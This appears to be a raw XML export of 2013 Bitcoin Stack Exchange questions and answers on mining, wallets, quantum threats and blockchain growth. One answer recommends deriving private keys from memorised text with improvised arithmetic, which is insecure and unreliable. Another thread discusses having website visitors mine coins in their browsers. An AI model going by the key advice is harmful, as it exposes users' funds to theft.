LastEditDate="2013-04-28T06:49:33.060" LastActivityDate="2013-10-25T08:39:53.990" Title="Good resource for understanding the peer to peer protocol sequence" Tags="|development|peers|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10318" PostTypeId="2" ParentId="10317" CreationDate="2013-04-27T14:30:52.900" Score="1" Body="&lt;p&gt;Your question is rather vague, what do you really want to know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins peer-to-peer nature comes from the fact that no single entity holds the database (the block chain), but every client in the network does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You misstate that Bitcoin has two main actors. In fact, miners are just like other clients. Every client in the network has the possibility to broadcast a new block it has found. The difference with miners is that they are actually trying to find such a block to publish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the block chain is peer-to-peer, all updates to it will have to be broadcast to all clients as well. These update consist of blocks and transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever someone built a valid block to append to the current block chain, it broadcasts it so that every other client can verify it. If these clients accept the block, it will be added to their block chain. New blocks always refer to their previous block so that clients that did not receive one, or mistakenly accepted a malicious block, can always get the right blocks from the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions, as well, are broadcast to all clients where they are validated. Most clients do not have to do anything with these transaction, only those that mine do. Clients that mine bundle all the valid transactions they received into the next block they are trying to build. When they succeed in building the block, these transactions are stored in the block and broadcast to be included in other clients' block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One essential property of Bitcoins peer-to-peer nature is that you can only stop it from existing if you can stop all the nodes. As long as one node exists, &quot;Bitcoin&quot; exists.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-27T14:30:52.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10319" PostTypeId="2" ParentId="10306" CreationDate="2013-04-27T15:21:43.867" Score="4" Body="&lt;p&gt;On the whole, &lt;strong&gt;there is no minimum investment for Bitcoin&lt;/strong&gt;, as it is not a security such as an ETF or mutual fund purchased through a brokerage or management firm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What minimum purchases exist on Bitcoin exchanges are merely requirements set by each individual exchange to reflect the minimum purchase/sale that they feel is necessary to cover their overhead for each transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purchasing from an individual trader, you'll find that there is generally no such minimum, aside from whatever minimum they set to make it worth the time and travel expense for a rendezvous.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-27T15:21:43.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10320" PostTypeId="1" AcceptedAnswerId="10327" CreationDate="2013-04-27T17:28:56.653" Score="28" ViewCount="48369" Body="&lt;p&gt;I don't have a great understanding of how bitcoin mining works, but how useful would a JavaScript miner be for collecting revenue from visitors? Stupid question, but if I put the user in as part of a mining pool, must their computer actually find a hash in order for me to make revenue? Is this at all practical?&lt;/p&gt;&#xA;" OwnerUserId="4682" LastEditorUserId="5406" LastEditDate="2016-01-28T07:46:16.660" LastActivityDate="2017-07-27T20:57:23.383" Title="How useful is a JavaScript miner?" Tags="|cpu-mining|javascript|gpu-mining|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10321" PostTypeId="2" ParentId="10320" CreationDate="2013-04-27T17:37:53.440" Score="2" Body="&lt;p&gt;Not practical at all. Most probably the users would be just pissed of. Right now it is not even practical to mine with GPU-s, not to mention CPU-s and for sure JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the question: &#xA;&quot;if I put the user in as part of a mining pool, ...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, it is not important that he would find a hash. It is working this way. Your all workers are calculating hashes (does not matter if you find the right one or no). If a miner mined something at that time, the miner calculates how much work you have done and gives you the amount of bitcoins. So if you contributed 5% - you will get 5% of 25BTC and in case of some pulls fees. If pull mined nothing, you get nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in total, if you do not want to piss of users, do not do this.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-04-27T17:37:53.440" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10322" PostTypeId="2" ParentId="10320" CreationDate="2013-04-27T17:59:53.177" Score="7" Body="&lt;p&gt;It would not at all be useful for Bitcoin mining. However, it &lt;em&gt;may&lt;/em&gt; be useful for other digital cryptocurrencies, such as Litecoin or PPCoin.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-04-27T17:59:53.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10323" PostTypeId="1" AcceptedAnswerId="10324" CreationDate="2013-04-27T18:41:02.430" Score="9" ViewCount="2910" Body="&lt;p&gt;Assuming that quantum computers are implemented some time in the near-ish future, how vulnerable is Bitcoin to decryption via &lt;a href=&quot;http://en.wikipedia.org/wiki/Quantum_algorithm&quot; rel=&quot;noreferrer&quot;&gt;quantum algorithms&lt;/a&gt;? For example, &lt;a href=&quot;http://en.wikipedia.org/wiki/Shor%27s_algorithm&quot; rel=&quot;noreferrer&quot;&gt;Shor's algorithm&lt;/a&gt; enables a quantum computer to prime factorize in polynomial time. A variant of it &lt;a href=&quot;https://security.stackexchange.com/questions/34940/is-ecdsa-breakable-by-quantum-computers&quot;&gt;can crack ECDSA&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However, Bitcoin relies on a &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;scripting system&lt;/a&gt;, so if quantum computers are created, one probably can just switch to a secure script&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is Bitcoin vulnerable to attacks from quantum computers? Are these vulnerabilities fixable&lt;sup&gt;2&lt;/sup&gt;?&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;1.  Then again, there are limits to scripting and quantum computing may make it impossible for any script to work.&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;2. &amp;quot;Fixable&amp;quot; can both be client-side fixable, where everyone just tweaks the script they use and transfers all their money to a clean set of addresses (thus securing all their bitcoins with the new script), or protocol-side fixable, where the protocol is tweaked and everyone downloads a new client. The latter is nor preferable, since the old bitcoins will probably be lost in the process.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="1453" LastEditorUserId="5406" LastEditDate="2020-10-19T17:01:14.657" LastActivityDate="2020-10-19T17:01:14.657" Title="How vulnerable is bitcoin to quantum algorithms?" Tags="|security|script|ecdsa|quantum-computing|" AnswerCount="2" CommentCount="2" ClosedDate="2013-07-11T20:19:23.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="10324" PostTypeId="2" ParentId="10323" CreationDate="2013-04-27T19:22:00.993" Score="6" Body="&lt;p&gt;In short, yes, Bitcoin would be vulnerable to some variation of Shor's algorithm and quantum computing, as would basically every kind of crypto we use today. While ECDSA uses the elliptic curve discrete logarithm problem for its security, rather than the prime number factorization problem, you are correct in stating that a variant of Shor's can be used to solve the ECDLP in similar time. I believe there are similar threats with regard to SHA256, which is heavily used in Bitcoin's mining process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are also correct in stating that Bitcoin relies on a scripting system and is itself an open-source distributed computing project. Assuming you can arrive at a network consensus it is absolutely possible to change basically any aspect of Bitcoin - you just have to get the whole rest of the network to agree with you. I don't imagine that would be an issue if ECDSA or SHA256 were broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also entirely possible that the whole project itself could be forked to create an alternate version of Bitcoin similar to others which already exist. There is a variant called Litecoin, for example, which uses scrypt instead of SHA256 for mining - implementing an alternative to ECDSA could be easily done in a similar manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This, perhaps, is the true brilliance of Bitcoin: it's a Pandora's box that cannot be un-opened. Bitcoin as it exists today may or may not exist in a decade. Perhaps there is some unforeseen flaw that will soon be discovered, but that flaw will be fixed and the idea will live on. Assuming that there is any reasonable encryption/signing algorithm that is safe from quantum computing, it will be adopted and the cryptocurrency world will move on.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-04-27T19:30:51.323" LastActivityDate="2013-04-27T19:30:51.323" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10326" PostTypeId="1" CreationDate="2013-04-27T21:29:57.310" Score="3" ViewCount="1478" Body="&lt;p&gt;I am interested in transferring Bitcoins between several different wallets: my Mt.Gox account, my Bitcoin client wallet, and my Blockchain wallet.  I am aware of two primary ways to transfer funds between any two of these:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Perform a transaction from one address linked to one wallet to an address associated with the other wallet service, or&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export private keys from one wallet and import them on the wallet I wish to effectively transfer to.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was wondering what pros and cons there are to these two different methods and if there is an obvious &quot;right way&quot; to do it?  Any other methods, ideas or advice relating to transferring Bitcoins between these wallet services would also be appreciated.  My primary concern is maintaining security, however ease of use would I think obviously be a nice benefit.&lt;/p&gt;&#xA;" OwnerUserId="4685" LastActivityDate="2014-11-01T06:00:30.273" Title="What are the pros and cons of different methods for transferring Bitcoins between different wallet services?" Tags="|transactions|wallet|security|e-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10327" PostTypeId="2" ParentId="10320" CreationDate="2013-04-27T21:43:34.703" Score="33" Body="&lt;p&gt;Javascript has access to OpenGL ES, including shaders, so it has access to &lt;em&gt;programmable&lt;/em&gt; parts of the GPU at nearly native speeds. I think that a smart kid might be able to build a &lt;em&gt;fragment shader&lt;/em&gt; that does SHA256 hashing, which outputs to the stencil buffer, so that Javascript has a 2-way communication channel with the GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yeah, you could probably use javascript to mine at really nice speeds. Maybe 70% or 80% of what an OpenCL GPU miner does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit] &lt;a href=&quot;https://bitcointalk.org/index.php?topic=4618.msg191488#msg191488&quot;&gt;oh look, someone already built a fragment shader that does that&lt;/a&gt;&lt;br&gt;&#xA;[Edit 2] &lt;a href=&quot;https://bitcointalk.org/index.php?topic=27056.0&quot;&gt;and an actual JS/WebGL application&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="4358" LastEditDate="2013-04-27T21:50:02.713" LastActivityDate="2013-04-27T21:50:02.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10328" PostTypeId="2" ParentId="10326" CreationDate="2013-04-27T22:00:24.223" Score="1" Body="&lt;p&gt;This is a very interesting question. Of course there is no &quot;right way&quot; and as far as I know not even a best practice. I can't make up for myself either what I'd consider the best method, but I'll list up some considerations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Not all clients allow exporting and/or importing private keys. I think this will be the biggest problem when you decide to go for the second method. There are even wallets that don't store individual private keys for every user, but just store all the coins from all their users somewhere together (probably for a big part in safe cold storage) and just send some when you want to make a transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transferring private keys involves some risk. Any sort of malware can be operating in your computer to monitor the appearance of private keys. F.e. malicious browser plugins scanning web pages for private keys, spyware monitoring your clipboard and looking for wallet.dat files or network spoofers monitoring private keys included in unencrypted network traffic. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sending the coins over can cost you a transaction fee. This is normally no significant amount, but when sending much small amounts this can weigh. Of course you have to keep in mind that when you export-import the private keys, you will eventually pay the fee as well when you want to spend the coins.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you want to transfer the coins to the wallet that will become your mail wallet, you may already have used its address on several places on the internet. When importing the private keys for other addresses will not make the coins available on your main address, but on the imported one. Most clients have no problem with sending/receiving from multiple addresses, but f.e. when you send coins with that other address to a contact that saved your main address in their contact list, they will not know that the payment comes from you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The inverse argument of the previous one counts as well. If the address you want to move to another wallet is considered your main address (the one you shared with contacts), you will probably very much like to keep this address in your new wallet and importing it in your new wallet will be the very best option.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Just sending the money over is of course far easier than the hassle involved with transferring private keys. Some wallets f.e. don't allow you to import raw private keys but require them to be in some specific form like a wallet.dat file or some home-brew JSON format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope some of my considerations help you to decide what to do with your two wallets.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-27T22:00:24.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10329" PostTypeId="2" ParentId="10060" CreationDate="2013-04-28T01:18:25.800" Score="-1" Body="&lt;p&gt;The amount of energy consumed will be much less than the current banking system consumes which, hopefully, bitcoin will replace. :) This doesn't even take into account the millions of lives (and productivity) saved when nation states can no longer print money at will to finance their endless wars.&lt;/p&gt;&#xA;" OwnerUserId="4687" LastActivityDate="2013-04-28T01:18:25.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10330" PostTypeId="2" ParentId="9261" CreationDate="2013-04-28T10:22:54.413" Score="0" Body="&lt;p&gt;As Dust noted above, it does appear that 10 coins that were generated in Block 9, were sent to someone in &lt;a href=&quot;http://blockexplorer.com/address/12cbQLTFMXRnSzktFkuoG3eHoMeFtpTu3S&quot; rel=&quot;nofollow&quot;&gt;Block 170&lt;/a&gt;, transaction &lt;a href=&quot;http://blockexplorer.com/tx/f4184fc596403b9d638783cf57adfe4c75c605f6356fbc91338530e9831e9e16#i172&quot; rel=&quot;nofollow&quot;&gt;f4184fc596403b9d638783cf57adfe4c75c605f6356fbc91338530e9831e9e16&lt;/a&gt; and which if what Hal says is true (I have no reason to believe its not) then Hal's address is &lt;a href=&quot;http://blockexplorer.com/address/1Q2TWHE3GMdB6BZKafqwxXtWAWgFt5Jvm3&quot; rel=&quot;nofollow&quot;&gt;1Q2TWHE3GMdB6BZKafqwxXtWAWgFt5Jvm3&lt;/a&gt; and he didn't spend/move them again until 16 Nov 2010, which would coincide with the his comings and goings on the bitcoin scene.&lt;/p&gt;&#xA;" OwnerUserId="3561" LastEditorUserId="3561" LastEditDate="2013-04-28T10:41:41.070" LastActivityDate="2013-04-28T10:41:41.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10332" PostTypeId="2" ParentId="8122" CreationDate="2013-04-28T11:48:23.400" Score="1" Body="&lt;p&gt;Namecoin is great but has a couple of problems:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;they are too many too complicated ideas around and this confuses and scares people&#xA;It needs to make simple and good some basic issues:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;trading namecoins&lt;/li&gt;&#xA;&lt;li&gt;registering .bit domains&lt;/li&gt;&#xA;&lt;li&gt;simple support of .bit domains&#xA;/ Finish. That's all.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;to reduce registration fees in namecoins was the biggest mistake because created surplus of namecoins and made them too cheap what let the people beleave they are valueless&#xA;How to fix this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;increase registration fee at least to double&lt;/li&gt;&#xA;&lt;li&gt;increase 4 times the destroyed namecoins by registration&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To restart the chain or to change the block reward inflationary would kill namecoin because nobody would trust any more this system.&lt;/p&gt;&#xA;" OwnerUserId="4690" LastEditorUserId="4690" LastEditDate="2013-04-28T11:57:14.170" LastActivityDate="2013-04-28T11:57:14.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10333" PostTypeId="1" AcceptedAnswerId="10334" CreationDate="2013-04-28T12:22:54.853" Score="5" ViewCount="1597" Body="&lt;p&gt;the last days I have thinking about the bitcoins and the technical issues that can have this currency, I am a computer science guy, with many interest in the global economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first question that I want to ask is about the blockchain, the file that store all the transactions done in the network, the problem is that the current size of this file is about 7 GB, with only 100.000 bitcoin accounts, something insignificant to the global economy, still insignificant for a little country of third world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen when exists 10 , 100 or worse 1000 million of accounts, what will be the size of the blockchain file?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this file grow and grow this is not problem for the current tecnology, is more a problem againts the philosopy of bitcoin, because not all the people could be have the file in their own computers, then in the long run the system will tend to transform in something centralized, where only some organizations or very rich people would have a copy of the blockchain file, and the system will be more susceptible to be shut down if some power entity decides to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think about?, is like I am thinking? or am I missing some one about the design of bitcoin?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank for your answers.&lt;/p&gt;&#xA;" OwnerUserId="4691" LastEditorUserId="5406" LastEditDate="2017-12-23T19:03:04.613" LastActivityDate="2017-12-23T19:03:04.613" Title="Blockchain long run issue" Tags="|blockchain|scalability|storage-footprint|cost-of-node-option|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10334" PostTypeId="2" ParentId="10333" CreationDate="2013-04-28T12:33:59.573" Score="6" Body="&lt;p&gt;This is explained in &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Satoshi's original paper&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hu1VS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the block hash does not contain the hashes of the individual transactions, rather it contains the root of the Merkle tree of the hashes. Once all the bitcoin outputs of a transaction have been fully spent, then there is no need for the original transaction, and hence its branch is chopped off from the Merkle tree. As time passes, all the branches get chopped off and one is left with just the root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's say someone gives you 1 BTC in transaction A (which has no other outputs). You give it away in transaction B to someone else. After a few more blocks have been generated, I have no reason to doubt that transaction B is valid and since A cannot be referenced anywhere else (it is already spent), it is safe for me to remove A from my blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, some entities may keep the entire chain but this is not strictly necessary for bitcoin to work.&lt;/p&gt;&#xA;" OwnerUserId="1453" LastActivityDate="2013-04-28T12:33:59.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10335" PostTypeId="1" CreationDate="2013-04-28T11:18:41.927" Score="2" ViewCount="1665" Body="&lt;p&gt;I &lt;em&gt;thought&lt;/em&gt; I understood the gist of what &quot;bitcoins&quot; are: electronic currency tokens representing $X USD that could be used to trade, buy or sell online items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But recently I heard the term &quot;&lt;em&gt;mining for bitcoins&lt;/em&gt;&quot; and it piqued my interests...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read &lt;a href=&quot;http://gizmodo.com/5994446/digital-drills-the-monster-machines-that-mine-bitcoin&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; and still feel like I'm missing the bigger picture here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand &quot;mining&quot; bitcoins correctly, then:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin mining is the act of setting up a commodity hardware cluster to try and &quot;crack&quot; some cryptographic puzzle&lt;/li&gt;&#xA;&lt;li&gt;When you finally crack such a puzzle, you are rewarded in bitcoins&lt;/li&gt;&#xA;&lt;li&gt;You can then, theoretically, sell bitcoins for real money&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So to start, if anything I have said so far is off base or needs correction, please begin by clarifying what bitcoins and/or bitcoin mining is!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I am more or less correct, then I have several questions that (surprisingly) have been nearly impossible to find answers for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Who issues these puzzles and validates a correct answer?&lt;/li&gt;&#xA;&lt;li&gt;Who brokers the generation and awarding of &quot;mined&quot; bitcoins (after you've cracked the puzzle)?&lt;/li&gt;&#xA;&lt;li&gt;Isn't this (really) just a crytpographic &lt;em&gt;game&lt;/em&gt;? You play the game, and you win, except you get money. But there's no reason why someone would &lt;em&gt;need&lt;/em&gt; you to be cracking these randomly-generated crypto puzzles.&lt;/li&gt;&#xA;&lt;li&gt;When new &quot;puzzles&quot; are generated, and new bitcoins are generated and awarded to the people who correctly solve these puzzles, doesn't that dilute the value of each existing bitcoin? Not an economist here, but if you have more of something, it's value usually goes down since it's not as scarce.&lt;/li&gt;&#xA;&lt;li&gt;Is it even worth a programmer's time to delve into this stuff or is the bubble already bursting?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To me it seems like bitcoins are just a game that has been disguised to as a pyramid scheme that has been disguised as a legitimate radicalization of e-commerce. Thanks in advance for any help/insight here!&lt;/p&gt;&#xA;" OwnerUserId="4692" OwnerDisplayName="TicketMonster" LastActivityDate="2013-04-29T00:23:57.733" Title="Economics of Bitcoin Mining" Tags="|cryptography|economic-theory|" AnswerCount="2" CommentCount="1" ClosedDate="2013-04-29T12:20:12.993" ContentLicense="CC BY-SA 3.0" />
  <row Id="10336" PostTypeId="2" ParentId="10335" CreationDate="2013-04-28T11:38:43.853" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;The puzzle is to find ordering and choice of pending transactions with certain restriction of hash and put the into a &lt;a href=&quot;https://en.bitcoin.it/wiki/Block&quot; rel=&quot;nofollow&quot;&gt;block&lt;/a&gt;. Therefore the puzzle is part of system. The verification is done by everyone - every time you connect to bitcoin you verify that &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;block chain&lt;/a&gt; you have received is valid. If it is not you just reject it.&lt;/li&gt;&#xA;&lt;li&gt;No one awards them. Simply the person who puts a block is allowed to add note that he put it at the end. (S)he is awarded the benefits of putting it (transactions costs and the mining award)&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin mining as activity can be viewed in this way but it is not the only way of viewing it. In gold standard when you gold mine you are playing 'a game' however it is not the main purpose of money in such system.&lt;/li&gt;&#xA;&lt;li&gt;Yes. However there is limit of how many bitcoins will ever be produced and you know exactly the schedule. The increase of money supply can be offset by money demand. In the end the only award for minings will be voluntary transactions costs (on the other hand as miner picks the transactions it is presumed that the highier the donation the faster the transaction will be processed).&lt;/li&gt;&#xA;&lt;li&gt;I won't answer it but technically you can image say a country adopting bitcoin as official currency. This is for you to decide.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I believe there are several in-depth answers you can find on the web. I belive there is episode of &lt;a href=&quot;http://twit.tv/sn287&quot; rel=&quot;nofollow&quot;&gt;Security Now&lt;/a&gt;, &lt;a href=&quot;http://old.linuxoutlaws.com/podcast/215&quot; rel=&quot;nofollow&quot;&gt;Linux Outlaws&lt;/a&gt; as well as &lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt; which can answer further questions. My guess is that bitcoins per se were not design as scheme and mining in principle can be seen similar to gold one (assuming gold had no other purposes then currency) with possibility of gold fevers. If it will survive I don't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case please do &lt;strong&gt;NOT&lt;/strong&gt; consider this answer as investment advice (or any other advice).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Simple explanation of terms as I understand them &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transaction: Any sending from one bitcoin address to others is transaction - it is not revertable. The transaction is verified by the sender private key but all transactions are public (bitcoin is &lt;em&gt;not&lt;/em&gt; anonymous - even the amount of money on the account is visible). Once it is done the transaction is pending. You may set a transaction cost to ensure quicker processing of it.&lt;/li&gt;&#xA;&lt;li&gt;Block: Block is a set of transactions that have been confirmed. They are verified by hash which, in addition, needs to fulfil certain requirements like number of 0-s at the beginning (the proof-of-work). Person who created a block is awarded all of the transactions costs and up to the point a bonus (currently 25 bitcoins). Currently the latter is main benefit of mining. However in future the award will be 0.&lt;/li&gt;&#xA;&lt;li&gt;Block chain: Block chain is chain of blocks. As this is distributed systems the histories might diverge - as general rule the longest wins (first in case of ties). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4693" OwnerDisplayName="Maciej Piechotka" LastActivityDate="2013-04-28T12:08:54.357" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10338" PostTypeId="1" AcceptedAnswerId="10339" CreationDate="2013-04-28T14:47:30.397" Score="8" ViewCount="2203" Body="&lt;p&gt;The title pretty much sums up the question - say (for instance) I have a string of letters or numbers committed to memory, how hard would it be to convert that into a private key? Or similarly, how hard would it be to construct a private key based upon a sentence, mnemonic or otherwise? &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2013-04-28T15:20:19.300" Title="What qualifies a valid private key?" Tags="|private-key|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10339" PostTypeId="2" ParentId="10338" CreationDate="2013-04-28T15:20:19.300" Score="4" Body="&lt;p&gt;Check out &lt;a href=&quot;http://brainwallet.org/&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/&lt;/a&gt; for an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin private key is just a 256-bit number. Any algorithm that can convert arbitrary text to a number of that size ought to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A rather simple algorithm would be to consider your string as a base 63 number (a-z, A-Z, 0-9 and spaces) and write in binary, take the number modulo 2&lt;sup&gt;256&lt;/sup&gt;, and write in hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you take the base 63-to-binary number, raise it to the power ten, bit shift left 20 times, multiply by 8, add 4, bit shift right 50 times, take modulo 2&lt;sup&gt;256&lt;/sup&gt;, convert to hex, and you have a private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or whatever. Try to make it so that the number generated before you calculate it modulo 2&lt;sup&gt;256&lt;/sup&gt; is much larger than 2&lt;sup&gt;256&lt;/sup&gt;. Otherwise, many of your generated addresses will just be a bunch of zeroes followed by a relatively short hex string.&lt;/p&gt;&#xA;" OwnerUserId="1453" LastActivityDate="2013-04-28T15:20:19.300" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="10340" PostTypeId="2" ParentId="10216" CreationDate="2013-04-28T15:58:53.700" Score="1" Body="&lt;p&gt;$2000 per day. Right above their captcha-like thing, it says the limits in small text.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastEditorUserId="44" LastEditDate="2013-04-29T05:54:01.537" LastActivityDate="2013-04-29T05:54:01.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10341" PostTypeId="1" CreationDate="2013-04-28T16:00:23.867" Score="2" ViewCount="241" Body="&lt;p&gt;As an experiment, I will have website visitors mine litecoins. Yes, I know this won't work very well, but I simply want to try it. If I want the visitors to be part of a pool, how should I create user accounts for them? &lt;strong&gt;Is it ok if I have them all mine under the same worker name, or do I have to create individual workers?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4682" LastEditorUserId="5406" LastEditDate="2016-03-14T19:44:15.960" LastActivityDate="2016-03-14T19:44:15.960" Title="How to add website visitors to a pool?" Tags="|mining-pools|webminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10342" PostTypeId="2" ParentId="9441" CreationDate="2013-04-28T16:39:36.103" Score="2" Body="&lt;p&gt;I don't think there any good reasons to use multiple SOCKS listener ports on the same tor in your situation.  After all, it all ends up in the same place.&lt;/p&gt;&#xA;" OwnerUserId="3725" LastActivityDate="2013-04-28T16:39:36.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10343" PostTypeId="1" AcceptedAnswerId="10351" CreationDate="2013-04-28T16:41:59.760" Score="8" ViewCount="17997" Body="&lt;p&gt;I understand that a &lt;em&gt;transaction&lt;/em&gt; is a record of 1+ Bitcoins being given from one party to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that a &lt;em&gt;block&lt;/em&gt; is a collection of unverified (pending) transactions that gets verified every ~10 mins or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that &lt;em&gt;mining&lt;/em&gt; is the act of running specialized software that will solve some cryptographic problem, and as a result, allows a block of pending transactions to be added to the &lt;em&gt;block chain&lt;/em&gt; (history of all transactions, ever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first off, if anything I have said so far is not true or misleading, please begin by correcting me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I'm more or less correct, I'm still not seeing why mining is crucial to the system, and am (obviously) not seeing the forest through the trees here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I send 10 BTC to someone, why does someone else (a &quot;miner&quot;) need to verify this? Shouldn't this transaction be stored in a DB somewhere, and verifiable by querying that DB?&lt;/p&gt;&#xA;" 